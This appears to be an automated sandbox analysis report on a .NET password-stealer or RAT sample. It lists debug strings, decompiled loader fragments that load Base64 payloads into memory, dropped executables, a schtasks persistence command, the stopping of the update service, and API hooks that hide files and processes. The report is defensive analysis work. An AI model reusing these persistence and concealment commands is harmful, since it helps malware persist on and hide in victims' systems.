Source:	Binary string: System.Security.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Configuration.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.ServiceModel.Activation.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Net.Http.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.DirectoryServices.AccountManagement.pdbP< source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.Build.Framework.pdb0; source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdb} source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.DirectoryServices.Protocols.pdbSystem.Windows.Forms.DataVisualization.Design.dll source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.IO.Compression.pdbMicrosoft.VisualC.dllMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Web.DynamicData.Design.pdb` source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualBasic.Compatibility.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Net.Http.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xaml.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.PDBH source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665472479.00000042D62F3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Runtime.ni.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.AddIn.Contract.pdbP source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.Activities.pdbP source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.VisualBasic.pdbMZ@ source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Transactions.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Entity.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Windows\Containers\Confidential\DotnetGenerator\Stub\Projects\HFayo\obj\Release\HFayo.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, ohvrxt.exe.3.dr
Source:	Binary string: System.Transactions.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: Microsoft.VisualBasic.Compatibility.Data.pdbH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.ServiceModel.Activities.pdbH source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Configuration.Install.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Transactions.Bridge.Dtc.pdb.CRT$XIZ source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp, spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ServiceModel.Web.pdbP source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.IO.Compression.pdb0<c source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.ServiceModel.Channels.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualC.STLCLR.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Activities.DurableInstancing.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665839826.0000016E99246000.00000004.00000020.00020000.00000000.sdmp, spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Design.pdbSystem.AddIn.dllSystem.Dynamic.dllSystem.AddIn.dll source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Runtime.Remoting.pdbp^a source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.DirectoryServices.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.Internals.pdb8 source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Services.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Dynamic.pdbH source: WER696F.tmp.dmp.30.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: Microsoft.Data.Entity.Build.Tasks.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.DurableInstancing.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: ISymWrapper.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Entity.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.WindowsRuntime.UI.Xaml.pdb\?\p source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Entity.pdbP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.IdentityModel.Selectors.pdbSystem.Runtime.Handles.dll source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualC.STLCLR.pdb source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: CustomMarshalers.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DynamicData.Design.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.EnterpriseServices.pdbpFM source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Net.Http.pdbSystem.Linq.Queryable.dll source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Web.Routing.pdb source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Services.pdbMZ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Extensions.pdbP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.Services.Client.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Transactions.Bridge.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Build.Conversion.v4.0.pdbH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.DirectoryServices.AccountManagement.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Numerics.ni.pdbRSDSautg source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.DataSetExtensions.pdb` source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Workflow.Runtime.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Data.DataSetExtensions.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: XamlBuildTask.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Windows.Forms.pdbSystem.Resources.ResourceManager.dllSystem.ComponentModel.Annotations.dllSystem.Resources.ResourceManager.dllL source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DynamicData.pdbH source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Runtime.WindowsRuntime.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.DataVisualization.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb1{qm^ source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb,> source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Windows.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ComponentModel.Composition.pdbp source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.ServiceModel.Internals.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ComponentModel.DataAnnotations.pdbSystem.Web.Extensions.dll source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.Build.Engine.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.DirectoryServices.AccountManagement.pdbH source: WER95BE.tmp.dmp.46.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Routing.pdbP source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Data.DataSetExtensions.pdbSystem.Runtime.Serialization.Formatters.dllSystem.Runtime.CompilerServices.VisualC.dllSystem.Runtime.CompilerServices.VisualC.dll source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: CustomMarshalers.pdb.CRT$XPA source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdb source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.DirectoryServices.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Runtime.Remoting.ni.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: C:\Windows\HFayo.pdbpdbayo.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Net.Http.pdbu source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualC.STLCLR.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp, spczxf.exe, 00000008.00000002.1740777553.000001A4CD870000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Device.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: System.Activities.DurableInstancing.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Numerics.Vectors.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.WindowsRuntime.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.OracleClient.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Xml.Serialization.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Remoting.pdbSystem.Runtime.Remoting.dllMicrosoft.VisualBasic.ni.dllMicrosoft.Build.Tasks.v4.0.dllSystem.Runtime.Remoting.ni.dllC:\ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.ServiceModel.Activities.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.IO.Log.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Reflection.Context.pdb`QR source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.ComponentModel.Composition.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.VisualBasic.Compatibility.pdbSystem.Security.Cryptography.Algorithms.dll source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Build.Conversion.v4.0.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Drawing.pdbP source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.ni.pdbRSDS source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr, WER2A76.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\HFayo.pdbB source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.Build.Utilities.v4.0.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Transactions.Bridge.pdb??\ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Activities.pdbP source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.Build.Engine.pdb source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.IO.Log.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.Remoting.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Data.ni.pdbRSDSC source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.pdbMZ source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Core.pdbH source: WER2A76.tmp.dmp.6.dr
Source:	Binary string: CustomMarshalers.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Reflection.Context.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Net.Http.WebRequest.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.ServiceModel.ServiceMoniker40.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: \??\C:\Windows\exe\HFayo.pdb source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1670799032.0000016EB4D62000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Activities.Presentation.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: Microsoft.JScript.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Reflection.Context.pdb( source: WER696F.tmp.dmp.30.dr
Source:	Binary string: System.Runtime.Serialization.Formatters.Soap.pdbP{ source: WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Runtime.WindowsRuntime.UI.Xaml.pdb@GN source: WER95BE.tmp.dmp.46.dr
Source:	Binary string: System.Data.Services.pdbH source: WER696F.tmp.dmp.30.dr
Source:	Binary string: Microsoft.Activities.Build.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr
Source:	Binary string: System.Web.Mobile.pdb source: WER95BE.tmp.dmp.46.dr, WER696F.tmp.dmp.30.dr, WER85A6.tmp.dmp.15.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { Pack[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, Messages.cs	.Net Code: Memory

Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Static PE information: 0xDF358803 [Tue Aug 31 21:49:55 2088 UTC]

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe

Code function: 16_2_00007FF7FE544AC0 memset,GetVersionExW,memset,GetSystemDirectoryW,lstrlenW,lstrlenW,LoadLibraryW,GetProcAddress,FreeLibrary,

16_2_00007FF7FE544AC0

Source: Microsoft.exe.12.dr	Static PE information: section name: .didat
Source: pkiwizgebqxq.exe.41.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Code function: 0_2_00007FFAAC257F28 push ds; retf 5F50h	0_2_00007FFAAC27488F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Code function: 0_2_00007FFAAC257F28 pushfd ; retn 5F50h	0_2_00007FFAAC275011
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Code function: 0_2_00007FFAAC39082B push esp; retf 4810h	0_2_00007FFAAC3908D2
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00000142DB15C6DD push rcx; retf 003Fh	2_2_00000142DB15C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 2_2_00000142DB41ACDD push rcx; retf 003Fh	2_2_00000142DB41ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 4_2_000001F28A02ACDD push rcx; retf 003Fh	4_2_000001F28A02ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 4_2_000001F28A05C6DD push rcx; retf 003Fh	4_2_000001F28A05C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 7_2_0000023D0749C6DD push rcx; retf 003Fh	7_2_0000023D0749C6DE
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Code function: 8_2_00007FFAAC24752B push ebx; iretd	8_2_00007FFAAC24756A
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Code function: 8_2_00007FFAAC2400AD pushad ; iretd	8_2_00007FFAAC2400C1
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Code function: 8_2_00007FFAAC247963 push ebx; retf	8_2_00007FFAAC24796A
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Code function: 8_2_00007FFAACBA026B push esp; retf 4810h	8_2_00007FFAACBA0312
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3AACDD push rcx; retf 003Fh	12_2_000002109C3AACDE
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 12_2_000002109C3DC6DD push rcx; retf 003Fh	12_2_000002109C3DC6DE
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Code function: 20_2_00007FFAAC250661 push edi; iretd	20_2_00007FFAAC250662
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Code function: 20_2_00007FFAAC2500BD pushad ; iretd	20_2_00007FFAAC2500C1
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Code function: 20_2_00007FFAAC263425 push ebp; iretd	20_2_00007FFAAC263428
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Code function: 20_2_00007FFAAC39082B push esp; retf 4810h	20_2_00007FFAAC3908D2
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Code function: 20_2_00007FFAAC392348 pushad ; retf	20_2_00007FFAAC392349
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Code function: 21_2_00007FFAAC2400BD pushad ; iretd	21_2_00007FFAAC2400C1
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Code function: 21_2_00007FFAACBA0001 push esp; retf 4810h	21_2_00007FFAACBA0312
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200A98DACDD push rcx; retf 003Fh	23_2_00000200A98DACDE
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Code function: 23_2_00000200AB64C6DD push rcx; retf 003Fh	23_2_00000200AB64C6DE
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Code function: 35_2_00007FFAAC2400BD pushad ; iretd	35_2_00007FFAAC2400C1
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Code function: 35_2_00007FFAAC255669 push eax; ret	35_2_00007FFAAC2561DD
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Code function: 35_2_00007FFAAC24DC68 pushad ; retf	35_2_00007FFAAC24DC69
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Code function: 35_2_00007FFAACBA026B push esp; retf 4810h	35_2_00007FFAACBA0312
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_0000000140001394 push qword ptr [000000014000E004h]; ret	41_2_0000000140001403
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_000001DDEEF8ACDD push rcx; retf 003Fh	41_2_000001DDEEF8ACDE
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 41_2_000001DDEEFBC6DD push rcx; retf 003Fh	41_2_000001DDEEFBC6DE
Source: C:\Program Files\Windows Media Player\wmplayer.exe	Code function: 42_2_000001932CDEACDD push rcx; retf 003Fh	42_2_000001932CDEACDE

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File created: C:\Users\user\AppData\Local\Temp\spczxf.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\ServiceHub\msbuild.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File created: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File created: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Jump to dropped file
Source: C:\Program Files\Windows Media Player\wmplayer.exe	File created: C:\ProgramData\xlffyhztkvzk\pkiwizgebqxq.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	File created: C:\Users\user\AppData\Local\Temp\utntwb.exe	Jump to dropped file

Source: C:\Program Files\Windows Media Player\wmplayer.exe

File created: C:\ProgramData\xlffyhztkvzk\pkiwizgebqxq.exe

Jump to dropped file

Boot Survival

Drops PE files to the startup folder

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe

Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "msbuild" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\msbuild.exe" /rl HIGHEST /f

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\tc.txt
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe

Source: C:\Program Files\Windows Media Player\wmplayer.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

